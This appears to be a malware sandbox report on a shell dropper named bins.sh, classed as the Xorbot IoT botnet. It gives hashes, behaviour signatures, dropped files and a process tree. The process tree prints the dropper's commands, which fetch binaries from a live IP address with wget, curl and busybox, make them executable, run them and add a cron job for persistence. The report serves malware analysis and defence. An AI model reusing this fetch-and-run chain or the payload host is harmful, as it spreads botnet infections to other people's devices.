Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 19:17

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1f4d23e931eb2509fb595dbf127fdfe2

  • SHA1

    bde31e4db33a17ed1e37364a26242e12f6b0bbbb

  • SHA256

    512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

  • SHA512

    b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3

  • SSDEEP

    192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (570) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1495
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1496
      • /usr/bin/wget
        wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1497
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1501
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1502
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:1503
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:1504
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:1506
          • /usr/bin/wget
            wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:1510
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:1511
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1521
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1523
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:1525
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:1528

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
                    Filesize

                    117KB

                    MD5

                    849fa04ef88a8e8de32cb2e8538de5fe

                    SHA1

                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                    SHA256

                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                    SHA512

                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                    Download Submit

                  • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                    Download Submit

                  • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                    Download Submit

                  • /var/spool/cron/crontabs/tmp.4W2Iz2
                    Filesize

                    210B

                    MD5

                    a74b7e5cd75d2b516f097390a8bf8f50

                    SHA1

                    1566538635f8e03bddc130faf9ac0de840dab750

                    SHA256

                    c1b2f4bef78ab2336e21655c6ea01c736e91d53e9a536c5765ed1694fd397037

                    SHA512

                    80b514a4cbb011a336f85eb52185503e50752019b71e0e1b325547064be837b94075c36274137be472724fed432dc1f489a781d8dcb5662fa014e8ca55cf710b

                    Download Submit